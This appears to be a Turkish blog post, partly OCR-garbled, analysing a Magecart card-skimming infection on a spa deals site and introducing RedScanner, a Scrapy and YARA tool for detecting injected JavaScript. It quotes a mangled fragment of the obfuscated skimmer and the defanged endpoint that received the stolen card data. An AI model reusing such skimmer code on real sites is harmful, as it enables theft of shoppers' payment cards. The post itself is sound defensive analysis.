Magecart 1le Mucadele
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If you are looking for an English version of this article, please visit here.

Son yillarda e-ticaret sirketlerinden (Newegg) havayolu sirketlerine (British
Airways), biletleme sirketlerinden (Ticketmaster , Biletix) medya
sirketlerine (ABS-CBN) kadar cok sayida sirketin korkulu riyasi haline gelen
Magecart grubu tarafindan gerceklestirilen siber saldirilar, Biletix
vakasinda da oldugu gibi Glkemizi, vatandaslarimizi etkilemeye devam ediyor.
Bu saldirilar sonucunda sirketler reputasyonel etkilerin yani sira GDPR, KVKK
gibi kanunlar, reguilasyonlar nedeniyle British Airways 6rneginde oldugu gibi
yliksek cezalarla da karsi karsiya kaldigini biliyoruz.

Hikayemize gececek olursam, 2019 yilinin Haziran ayinda Twitter Uzerinden
benimle 6zel mesaj Uzerinden iletisime gecen Tarik Uygun (@uyguntt), Akbank
tarafindan kredi karti ile supheli islem yapildigina dair bir uyari mesaji
aldigini belirtti. (Alkislar Akbank Dolandiricilik Risk YOnetimi Ekibi’ne
gelsin. :)) Kredi karti ile alisveris yaptigi en son sitenin spa ve masaj
firsatlari sunan bir site oldugunu animsadiktan sonra ufak bir arastirma
sonucunda kredi karti bilgilerini girer girmez bilgilerin hash parametresinde
gizlenerek
https://kinitrofitness[.]com/wp-includes/class-wp-customize-settings.php
adresine iletildigini farketmis ve benimle bu durumu paylasmaya karar vermis.
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Bugin Akbank tarafindan kredi kartimda siipheli iglem
yapildigina dair bir uyan aldim ve sipheli islemden énce sadece
internet Gzerinden kredi kartimi verip 6deme yaptigim site
aklima geldi. Sitenin sadece 8deme sayfasinda calisan ve 7-8
karakterde bir form girisinde yapildi§inda alakasiz bir fitness
sitesine .php uzantisi Gzerinden hash'lenmig bir request gittigini
gardim. ilgili sitedeki calisanlardan da ilgili istegin gittigini
dogrulattim.

ilgili site

site Uzerinden bir hizmet satin alir gibi yapip kredi karti ile
ddeme noktasina geldiginizde kinitrofitness.com/wp-includes/cl
... adresine GET request ile hash'lenmis veriler gidiyor.

ilgili istek sadece ‘nin 6deme aldig
.com/iyzicocheckout... url'sinde galigiyor.

Siteyi agtiqimda alakasiz bir fitness sitesinde fake gibi duran bir
websitesi agiga gikiyor.

Bir firsat sitesinden neden bayle bir siteye istek gidebilirdi ki?

Odeme altyapisi olarak iyzico'yu kullaniyorlar fakat ben sadece

bu siteye ézel bir sorun olarak diisiiniiyorum. lyzico'ya kredi
o karti bilgileri giderken bir de bu siteye gidiyor tahminimce.

Eger incelemek istersen site ilgili sorun dizeltene kadar bir
siren var. Bizi de bu konuda aydinlatirsan gok seviniriz.

Zaman buldugum ilk firsatta ilgili web stesini sanal makine Ulzerinden ziyaret
ederek tim istekleri ve yanitlari Fiddler Proxy araci ile kayit altina almaya
basladim. Yeteri kadar gezdikten sonra Fiddler Uzerinde ?hash= parametresini
arttigimda siteye enjekte edilmis olan zararli JavaScript kodunun
https://www.xyz.com/media/po compressor/1l/js/6cble31ff2f343a9d576d889bfcbdele
.js adresinde yer aldigini ve bu adresin de ana sayfaya enjekte edildigini
6grendim.
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AllProcesses 1/802  https: fwwn. =

Biletix Vakasi yazisinda oldugu gibi JavaScript kodunu dinamik analiz etmek
yerine koda hizlica bakmaya karar verdim. Koda baktigimda gizlenmis oldugunu
(obfuscated) ve Illuminatels gibi araclarla kolay bir sekilde c¢oziilemedigini
gordim

Biraz daha g6z gezdirdikten sonra bu kodun misterinin kredi karti bilgilerini
caldigini (Number, Holder, HolderFirstName, HolderLastName, Date, Month

Year, CVV, Gate, Data, Sent, SaveParam) net olarak anladim. Google’da ufak
bir arastirma yaptigimda da bunun gectigimiz Temmuz ayinda Magento e-ticaret


https://www.mertsarica.com/biletix-vakasi/
https://illuminatejs.com/
https://magento.com

platformu kullanan 962 tane sitenin hacklenmesinde kullanilan kod ile benzer
oldugunu farkettim.

var _Bx342b13 = {
‘Number': _@x3a74('®Ox14a', 'He43'),
', 'Eoip'),

e “IPDRYY,

‘Gate': _Bx3a74('6x14d', 'iYBd'),
‘Data’: {},
tsentli: [,
‘SaveParam': function (_
if (_Bx38c382['id"] efined && _@x3Bc382['id'] !'= '' &R _Bx38c382['id'] !'== null && _Bx3Bc382[_Bx3a74( '6x14

e', 'jiJv')]1[_ex3a74('ex14f', '0Bil')] < 8 8& _0x38c382[_Bx3a74('0x150', 'E!(t')]1[_Bx3a74('8x151', "#67Y')] >
if (_@x3a74('@x152', 'd)iZ') === _8x3a74('@x153', '1iPL')) {
_0x342b13[ 'Data’ ][_6x38c382[ 'id']] = _8x38c382[_8x3a74( '0x154', 'pVAH')];
r urn,

nt[_Bx3a74('Bx155', '0Bil')] === _Bx3a74('Bx156', 'aTFz')) {

_8x342b13[_@x3a74('0x157', 'gBzK')]();
8', 'S&B8')], Bx1f4);

if (document[_@x3a74('ex159', 's5tE')]{_Bx342b13[_Bx3a74('6x15a', 'pVAH')]}) document[_@x3a74('@x15b"
, 'd)iZ')](_8x342b13[_bx3a74( @ ', 'L'Yt')])[_Bx3a74('6x15d', 'VCEm')] = '';

i 3 ementById'](_8x342b13['CvVv'])) d ent[_Bx3a74('8x15e’, 'Eoip')](_8x342b13[_6x3a7
4('8x15f', 'leoa')])[_Bx3a74("

i
}

Zararli JavaScript kodunu analiz etmeyi baska bir yaziya birakip bu tur
zararli JavaScript kodu enjekte edilen siber saldirilarin 2017 yilinda Tehdit
Avi baslikli blog yazimda yer verdigimden daha farkli bir noktaya gelmesi
sebebiyle tespit adina daha farkli neler yapabilecegim lizerine kafa yormaya
basladim.

Yakin zamanda kaleme aldigim Alan Adi YOnetimi Sarmali baslikli blog yazim
icin gelistirdigim RedSpider isimli aracin biraz lzerinde oynayarak bu araci
hedef siteyi tarayan ve JavaScript kodlarini indirip Yara kurallari ile

analiz eden bir araca cevirmek icin ise koyuldum.

yara-python modulunu kurduktan sonra zararli JavaScript kodu tespiti adina
Yara-Rules projesinden faydalanmaya karar verdim. Kisa bir gelistirme
suresinden sonra ortaya temelinde Scrapy yazilim iskeletinden faydalanilan
RedScanner isimli arac¢ c¢iktui.

Ornek olarak RedScanner aracini scrapy runspider —nolog RedScanner.py -a
“urls=xyz[.]com” komutu ile hedef websitesi lizerinde calistirdigimda
websitesine enjekte edilen zararli kodu mevcut yara kurallari ile basariyla
tespit edebildigini goérdim. RedScanner aracinin kullandigi YARA kurallarina
kendi 6zel kurallarinizi da ekleyerek aracin tespit oranini

arttirabileceginize de unutmayain.
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.com”

Suspicious JavaScript Hunter v1.8

[#*] Crawling...

tem32\cmd.exe - scrapy runspider --nolog RedScannerpy -a "url=: .com”
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Bu yazinin Magecart ve benzer siber saldirilar ile websitelerine enjekte
edilen zararli JavaScript kodlarini tespit etmek isteyenlere yardimci
olacagini Umit ederek bir sonraki yazida gérismek dilegiyle herkese glivenli

gunler dilerim.

Not: Bu yaziyi yazmam icin bikmadan usanmadan aylarca beni sikistiran Zero
Xyele isimli Twitter kullanicisina tesekkir ederim. :)



https://twitter.com/zeroxyele/status/1213104837237325828

